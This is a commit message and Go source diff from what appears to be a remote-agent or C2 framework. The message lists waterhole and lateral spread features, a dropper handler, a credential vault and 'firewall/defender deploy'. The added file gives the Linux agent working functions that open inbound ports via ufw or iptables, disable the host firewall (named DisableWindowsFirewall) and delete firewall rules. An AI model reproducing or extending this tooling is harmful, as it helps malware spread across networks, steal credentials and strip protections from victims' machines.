feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/deploy/firewall_linux_ops.go

@@ -0,0 +1,83 @@
+//go:build linux
+
+package deploy
+
+import (
+	"fmt"
+	"os/exec"
+	"strings"
+)
+
+func OpenFirewallPort(port int, name string) (string, error) {
+	if port <= 0 || port > 65535 {
+		return "", fmt.Errorf("invalid port %d", port)
+	}
+	if ufw, err := exec.LookPath("ufw"); err == nil {
+		rule := fmt.Sprintf("%d/tcp", port)
+		out, runErr := exec.Command(ufw, "allow", rule, "comment", name).CombinedOutput()
+		if runErr != nil {
+			return "", fmt.Errorf("ufw allow: %v (%s)", runErr, strings.TrimSpace(string(out)))
+		}
+		return fmt.Sprintf("ufw allow %s (%s)", rule, name), nil
+	}
+	if ipt, err := exec.LookPath("iptables"); err == nil {
+		out, runErr := exec.Command(ipt, "-I", "INPUT", "-p", "tcp", "--dport", fmt.Sprintf("%d", port), "-j", "ACCEPT").CombinedOutput()
+		if runErr != nil {
+			return "", fmt.Errorf("iptables: %v (%s)", runErr, strings.TrimSpace(string(out)))
+		}
+		return fmt.Sprintf("iptables INPUT accept tcp/%d", port), nil
+	}
+	return "", fmt.Errorf("no ufw or iptables found on host")
+}
+
+func SetWindowsFirewallProfiles(enable bool, profiles string) (string, error) {
+	_ = profiles
+	if ufw, err := exec.LookPath("ufw"); err == nil {
+		arg := "disable"
+		if enable {
+			arg = "enable"
+		}
+		out, runErr := exec.Command(ufw, arg).CombinedOutput()
+		if runErr != nil {
+			return "", fmt.Errorf("ufw %s: %v (%s)", arg, runErr, strings.TrimSpace(string(out)))
+		}
+		return fmt.Sprintf("ufw %s", arg), nil
+	}
+	return "", fmt.Errorf("firewall profile control requires ufw on Linux")
+}
+
+func DisableWindowsFirewall() (string, error) {
+	return SetWindowsFirewallProfiles(false, "all")
+}
+
+func EnableWindowsFirewall() (string, error) {
+	return SetWindowsFirewallProfiles(true, "all")
+}
+
+func RemoveFirewallRuleByName(name string) (string, error) {
+	name = strings.TrimSpace(name)
+	if name == "" {
+		return "", fmt.Errorf("rule name required")
+	}
+	if ufw, err := exec.LookPath("ufw"); err == nil {
+		out, runErr := exec.Command(ufw, "status", "numbered").CombinedOutput()
+		if runErr != nil {
+			return "", fmt.Errorf("ufw status: %v", runErr)
+		}
+		for _, line := range strings.Split(string(out), "\n") {
+			if strings.Contains(line, name) {
+				fields := strings.Fields(line)
+				if len(fields) > 0 {
+					num := strings.Trim(fields[0], "[]")
+					delOut, delErr := exec.Command(ufw, "delete", num).CombinedOutput()
+					if delErr != nil {
+						return "", fmt.Errorf("ufw delete: %v (%s)", delErr, strings.TrimSpace(string(delOut)))
+					}
+					return fmt.Sprintf("removed ufw rule %s matching %q", num, name), nil
+				}
+			}
+		}
+		return "", fmt.Errorf("no ufw rule matching %q", name)
+	}
+	return "", fmt.Errorf("firewall rule removal requires ufw on Linux")
+}